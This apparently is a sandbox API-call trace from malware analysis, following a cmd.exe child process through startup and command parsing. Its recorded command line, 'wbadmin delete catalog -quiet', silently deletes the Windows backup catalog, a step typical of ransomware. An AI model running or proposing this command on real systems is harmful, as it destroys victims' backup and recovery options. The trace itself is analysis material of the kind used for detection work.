DeleteProcThreadAttributeList (in: lpAttributeList=0x26f284 | out: lpAttributeList=0x26f284) [0073.461] _get_osfhandle (_FileHandle=1) returned 0x7 [0073.461] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0073.462] _get_osfhandle (_FileHandle=1) returned 0x7 [0073.462] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0073.462] _get_osfhandle (_FileHandle=0) returned 0x3 [0073.462] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0073.462] SetConsoleInputExeNameW () returned 0x1 [0073.462] GetConsoleOutputCP () returned 0x1b5 [0073.462] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0073.462] SetThreadUILanguage (LangId=0x0) returned 0x409 [0073.462] exit (_Code=-2147217388) Process: id = "49" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x2d670000" os_pid = "0xd48" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "cmd.exe /c wbadmin delete catalog -quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 73 os_tid = 0xd4c [0057.538] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3cff04 | out: lpSystemTimeAsFileTime=0x3cff04*(dwLowDateTime=0xb120a6a0, dwHighDateTime=0x1d5e09d)) [0057.539] GetCurrentProcessId () returned 0xd48 [0057.539] GetCurrentThreadId () returned 0xd4c [0057.539] GetTickCount () returned 0x11588a1 [0057.539] QueryPerformanceCounter (in: lpPerformanceCount=0x3cfefc | out: lpPerformanceCount=0x3cfefc*=19940973839) returned 1 [0057.540] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000 [0057.540] __set_app_type (_Type=0x1) [0057.540] __p__fmode () returned 0x76be31f4 [0057.540] __p__commode () returned 0x76be31fc [0057.540] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0 [0057.540] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0 [0057.540] GetCurrentThreadId () returned 0xd4c [0057.540] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd4c) returned 0x60 [0057.540] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0057.541] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0057.541] SetThreadUILanguage (LangId=0x0) returned 0x409 [0058.066] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0058.066] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3cfe94 | out: phkResult=0x3cfe94*=0x0) returned 0x2 [0058.067] VirtualQuery (in: lpAddress=0x3cfecb, lpBuffer=0x3cfe64, dwLength=0x1c | out: lpBuffer=0x3cfe64*(BaseAddress=0x3cf000, AllocationBase=0x2d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.067] VirtualQuery (in: lpAddress=0x2d0000, lpBuffer=0x3cfe64, dwLength=0x1c | out: lpBuffer=0x3cfe64*(BaseAddress=0x2d0000, AllocationBase=0x2d0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0058.067] VirtualQuery (in: lpAddress=0x2d1000, lpBuffer=0x3cfe64, dwLength=0x1c | out: lpBuffer=0x3cfe64*(BaseAddress=0x2d1000, AllocationBase=0x2d0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0058.067] VirtualQuery (in: lpAddress=0x2d3000, lpBuffer=0x3cfe64, dwLength=0x1c | out: lpBuffer=0x3cfe64*(BaseAddress=0x2d3000, AllocationBase=0x2d0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.067] VirtualQuery (in: lpAddress=0x3d0000, lpBuffer=0x3cfe64, dwLength=0x1c | out: lpBuffer=0x3cfe64*(BaseAddress=0x3d0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0058.067] GetConsoleOutputCP () returned 0x1b5 [0058.067] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0058.067] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1 [0058.067] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.067] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0058.067] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.067] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0058.068] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.068] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0058.068] _get_osfhandle (_FileHandle=0) returned 0x3 [0058.068] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0058.068] _get_osfhandle (_FileHandle=0) returned 0x3 [0058.068] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0058.068] GetEnvironmentStringsW () returned 0x492008* [0058.069] GetProcessHeap () returned 0x480000 [0058.069] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xaca) returned 0x492ae0 [0058.069] FreeEnvironmentStringsW (penv=0x492008) returned 1 [0058.069] GetProcessHeap () returned 0x480000 [0058.069] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x4) returned 0x490c40 [0058.069] GetEnvironmentStringsW () returned 0x492008* [0058.069] GetProcessHeap () returned 0x480000 [0058.069] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xaca) returned 0x4935b8 [0058.069] FreeEnvironmentStringsW (penv=0x492008) returned 1 [0058.069] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3cee04 | out: phkResult=0x3cee04*=0x68) returned 0x0 [0058.069] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3cee0c, lpData=0x3cee10, lpcbData=0x3cee08*=0x1000 | out: lpType=0x3cee0c*=0x0, lpData=0x3cee10*=0x0, lpcbData=0x3cee08*=0x1000) returned 0x2 [0058.069] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3cee0c, lpData=0x3cee10, lpcbData=0x3cee08*=0x1000 | out: lpType=0x3cee0c*=0x4, lpData=0x3cee10*=0x1, lpcbData=0x3cee08*=0x4) returned 0x0 [0058.069] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3cee0c, lpData=0x3cee10, lpcbData=0x3cee08*=0x1000 | out: lpType=0x3cee0c*=0x0, lpData=0x3cee10*=0x1, lpcbData=0x3cee08*=0x1000) returned 0x2 [0058.069] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3cee0c, lpData=0x3cee10, lpcbData=0x3cee08*=0x1000 | out: lpType=0x3cee0c*=0x4, lpData=0x3cee10*=0x0, lpcbData=0x3cee08*=0x4) returned 0x0 [0058.069] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3cee0c, lpData=0x3cee10, lpcbData=0x3cee08*=0x1000 | out: lpType=0x3cee0c*=0x4, lpData=0x3cee10*=0x40, lpcbData=0x3cee08*=0x4) returned 0x0 [0058.070] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3cee0c, lpData=0x3cee10, lpcbData=0x3cee08*=0x1000 | out: lpType=0x3cee0c*=0x4, lpData=0x3cee10*=0x40, lpcbData=0x3cee08*=0x4) returned 0x0 [0058.070] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3cee0c, lpData=0x3cee10, lpcbData=0x3cee08*=0x1000 | out: lpType=0x3cee0c*=0x0, lpData=0x3cee10*=0x40, lpcbData=0x3cee08*=0x1000) returned 0x2 [0058.070] RegCloseKey (hKey=0x68) returned 0x0 [0058.070] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3cee04 | out: phkResult=0x3cee04*=0x68) returned 0x0 [0058.070] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3cee0c, lpData=0x3cee10, lpcbData=0x3cee08*=0x1000 | out: lpType=0x3cee0c*=0x0, lpData=0x3cee10*=0x40, lpcbData=0x3cee08*=0x1000) returned 0x2 [0058.070] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3cee0c, lpData=0x3cee10, lpcbData=0x3cee08*=0x1000 | out: lpType=0x3cee0c*=0x4, lpData=0x3cee10*=0x1, lpcbData=0x3cee08*=0x4) returned 0x0 [0058.070] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3cee0c, lpData=0x3cee10, lpcbData=0x3cee08*=0x1000 | out: lpType=0x3cee0c*=0x0, lpData=0x3cee10*=0x1, lpcbData=0x3cee08*=0x1000) returned 0x2 [0058.070] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3cee0c, lpData=0x3cee10, lpcbData=0x3cee08*=0x1000 | out: lpType=0x3cee0c*=0x4, lpData=0x3cee10*=0x0, lpcbData=0x3cee08*=0x4) returned 0x0 [0058.070] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3cee0c, lpData=0x3cee10, lpcbData=0x3cee08*=0x1000 | out: lpType=0x3cee0c*=0x4, lpData=0x3cee10*=0x9, lpcbData=0x3cee08*=0x4) returned 0x0 [0058.070] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3cee0c, lpData=0x3cee10, lpcbData=0x3cee08*=0x1000 | out: lpType=0x3cee0c*=0x4, lpData=0x3cee10*=0x9, lpcbData=0x3cee08*=0x4) returned 0x0 [0058.070] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3cee0c, lpData=0x3cee10, lpcbData=0x3cee08*=0x1000 | out: lpType=0x3cee0c*=0x0, lpData=0x3cee10*=0x9, lpcbData=0x3cee08*=0x1000) returned 0x2 [0058.070] RegCloseKey (hKey=0x68) returned 0x0 [0058.070] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e2c [0058.070] srand (_Seed=0x5e423e2c) [0058.070] GetCommandLineW () returned="cmd.exe /c wbadmin delete catalog -quiet" [0058.070] GetCommandLineW () returned="cmd.exe /c wbadmin delete catalog -quiet" [0058.070] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.071] GetProcessHeap () returned 0x480000 [0058.071] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x210) returned 0x492008 [0058.071] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x492010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0058.071] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0058.071] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0058.071] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0058.071] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0058.071] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0058.071] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0058.071] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0058.071] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0058.071] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0058.071] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0058.071] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0058.071] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0058.071] GetProcessHeap () returned 0x480000 [0058.071] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x492ae0 | out: hHeap=0x480000) returned 1 [0058.071] GetEnvironmentStringsW () returned 0x492220* [0058.071] GetProcessHeap () returned 0x480000 [0058.071] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xae2) returned 0x494b80 [0058.071] FreeEnvironmentStringsW (penv=0x492220) returned 1 [0058.072] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.072] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0058.072] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0058.072] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0058.072] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0058.072] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0058.072] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0058.072] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0058.072] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0058.072] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0058.072] GetProcessHeap () returned 0x480000 [0058.072] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x54) returned 0x495670 [0058.072] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3cfbd0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.072] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x3cfbd0, lpFilePart=0x3cfbcc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3cfbcc*="Desktop") returned 0x25 [0058.072] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0058.072] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3cf94c | out: lpFindFileData=0x3cf94c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x491e88 [0058.072] FindClose (in: hFindFile=0x491e88 | out: hFindFile=0x491e88) returned 1 [0058.072] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x3cf94c | out: lpFindFileData=0x3cf94c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x491e88 [0058.072] FindClose (in: hFindFile=0x491e88 | out: hFindFile=0x491e88) returned 1 [0058.072] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0058.073] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x3cf94c | out: lpFindFileData=0x3cf94c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x491e88 [0058.073] FindClose (in: hFindFile=0x491e88 | out: hFindFile=0x491e88) returned 1 [0058.073] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0058.073] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0058.073] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0058.073] GetProcessHeap () returned 0x480000 [0058.073] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x494b80 | out: hHeap=0x480000) returned 1 [0058.073] GetEnvironmentStringsW () returned 0x494090* [0058.073] GetProcessHeap () returned 0x480000 [0058.073] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xb36) returned 0x495ed0 [0058.073] FreeEnvironmentStringsW (penv=0x494090) returned 1 [0058.073] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.073] GetProcessHeap () returned 0x480000 [0058.073] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x495670 | out: hHeap=0x480000) returned 1 [0058.073] GetProcessHeap () returned 0x480000 [0058.073] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x400e) returned 0x496a10 [0058.074] GetProcessHeap () returned 0x480000 [0058.074] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x48) returned 0x491e88 [0058.074] GetProcessHeap () returned 0x480000 [0058.074] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x496a10 | out: hHeap=0x480000) returned 1 [0058.074] GetConsoleOutputCP () returned 0x1b5 [0058.074] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0058.074] GetUserDefaultLCID () returned 0x409 [0058.074] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2 [0058.075] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3cfd10, cchData=128 | out: lpLCData="0") returned 2 [0058.075] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3cfd10, cchData=128 | out: lpLCData="0") returned 2 [0058.075] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3cfd10, cchData=128 | out: lpLCData="1") returned 2 [0058.075] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2 [0058.075] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4 [0058.075] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4 [0058.075] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a864d00, cchData=32 | out: lpLCData="Wed") returned 4 [0058.075] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a864cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0058.075] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a864c80, cchData=32 | out: lpLCData="Fri") returned 4 [0058.075] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a864c40, cchData=32 | out: lpLCData="Sat") returned 4 [0058.075] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a864c00, cchData=32 | out: lpLCData="Sun") returned 4 [0058.075] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a864930, cchData=8 | out: lpLCData=".") returned 2 [0058.075] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a864920, cchData=8 | out: lpLCData=",") returned 2 [0058.075] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0058.076] GetProcessHeap () returned 0x480000 [0058.076] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x0, Size=0x20c) returned 0x492d98 [0058.076] GetConsoleTitleW (in: lpConsoleTitle=0x492d98, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.077] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0058.077] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0058.077] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0058.077] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0058.077] GetProcessHeap () returned 0x480000 [0058.077] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x400a) returned 0x496a10 [0058.077] GetProcessHeap () returned 0x480000 [0058.077] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x496a10 | out: hHeap=0x480000) returned 1 [0058.078] _wcsicmp (_String1="wbadmin", _String2=")") returned 78 [0058.078] _wcsicmp (_String1="FOR", _String2="wbadmin") returned -17 [0058.078] _wcsicmp (_String1="FOR/?", _String2="wbadmin") returned -17 [0058.078] _wcsicmp (_String1="IF", _String2="wbadmin") returned -14 [0058.078] _wcsicmp (_String1="IF/?", _String2="wbadmin") returned -14 [0058.078] _wcsicmp (_String1="REM", _String2="wbadmin") returned -5 [0058.078] _wcsicmp (_String1="REM/?", _String2="wbadmin") returned -5 [0058.078] GetProcessHeap () returned 0x480000 [0058.078] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x58) returned 0x492fb0 [0058.078] GetProcessHeap () returned 0x480000 [0058.078] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x18) returned 0x493010 [0058.078] GetProcessHeap () returned 0x480000 [0058.078] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x36) returned 0x493030 [0058.079] GetConsoleTitleW (in: lpConsoleTitle=0x3cfa08, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.080] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0058.080] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0058.080] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0058.080] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0058.080] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0058.080] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0058.080] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0058.080] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0058.080] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0058.080] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0058.080] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0058.080] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0058.080] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0058.080] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0058.080] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0058.080] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0058.080] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0058.080] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0058.080] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 [0058.080] _wcsicmp (_String1="wbadmin", _String2="PATH") returned 7 [0058.080] _wcsicmp (_String1="wbadmin", _String2="GOTO") returned 16 [0058.080] _wcsicmp (_String1="wbadmin", _String2="SHIFT") returned 4 [0058.080] _wcsicmp (_String1="wbadmin", _String2="CLS") returned 20 [0058.080] _wcsicmp (_String1="wbadmin", _String2="CALL") returned 20 [0058.081] _wcsicmp (_String1="wbadmin", _String2="VERIFY") returned 1 [0058.081] _wcsicmp (_String1="wbadmin", _String2="VER") returned 1 [0058.081] _wcsicmp (_String1="wbadmin", _String2="VOL") returned 1 [0058.081] _wcsicmp (_String1="wbadmin", _String2="EXIT") returned 18 [0058.081] _wcsicmp (_String1="wbadmin", _String2="SETLOCAL") returned 4 [0058.081] _wcsicmp (_String1="wbadmin", _String2="ENDLOCAL") returned 18 [0058.081] _wcsicmp (_String1="wbadmin", _String2="TITLE") returned 3 [0058.081] _wcsicmp (_String1="wbadmin", _String2="START") returned 4 [0058.081] _wcsicmp (_String1="wbadmin", _String2="DPATH") returned 19 [0058.081] _wcsicmp (_String1="wbadmin", _String2="KEYS") returned 12 [0058.081] _wcsicmp (_String1="wbadmin", _String2="MOVE") returned 10 [0058.081] _wcsicmp (_String1="wbadmin", _String2="PUSHD") returned 7 [0058.081] _wcsicmp (_String1="wbadmin", _String2="POPD") returned 7 [0058.081] _wcsicmp (_String1="wbadmin", _String2="ASSOC") returned 22 [0058.081] _wcsicmp (_String1="wbadmin", _String2="FTYPE") returned 17 [0058.081] _wcsicmp (_String1="wbadmin", _String2="BREAK") returned 21 [0058.081] _wcsicmp (_String1="wbadmin", _String2="COLOR") returned 20 [0058.081] _wcsicmp (_String1="wbadmin", _String2="MKLINK") returned 10 [0058.081] _wcsicmp (_String1="wbadmin", _String2="DIR") returned 19 [0058.081] _wcsicmp (_String1="wbadmin", _String2="ERASE") returned 18 [0058.081] _wcsicmp (_String1="wbadmin", _String2="DEL") returned 19 [0058.081] _wcsicmp (_String1="wbadmin", _String2="TYPE") returned 3 [0058.081] _wcsicmp (_String1="wbadmin", _String2="COPY") returned 20 [0058.081] _wcsicmp (_String1="wbadmin", _String2="CD") returned 20 [0058.081] _wcsicmp (_String1="wbadmin", _String2="CHDIR") returned 20 [0058.081] _wcsicmp (_String1="wbadmin", _String2="RENAME") returned 5 [0058.081] _wcsicmp (_String1="wbadmin", _String2="REN") returned 5 [0058.081] _wcsicmp (_String1="wbadmin", _String2="ECHO") returned 18 [0058.081] _wcsicmp (_String1="wbadmin", _String2="SET") returned 4 [0058.081] _wcsicmp (_String1="wbadmin", _String2="PAUSE") returned 7 [0058.081] _wcsicmp (_String1="wbadmin", _String2="DATE") returned 19 [0058.081] _wcsicmp (_String1="wbadmin", _String2="TIME") returned 3 [0058.081] _wcsicmp (_String1="wbadmin", _String2="PROMPT") returned 7 [0058.081] _wcsicmp (_String1="wbadmin", _String2="MD") returned 10 [0058.082] _wcsicmp (_String1="wbadmin", _String2="MKDIR") returned 10 [0058.082] _wcsicmp (_String1="wbadmin", _String2="RD") returned 5 [0058.082] _wcsicmp (_String1="wbadmin", _String2="RMDIR") returned 5 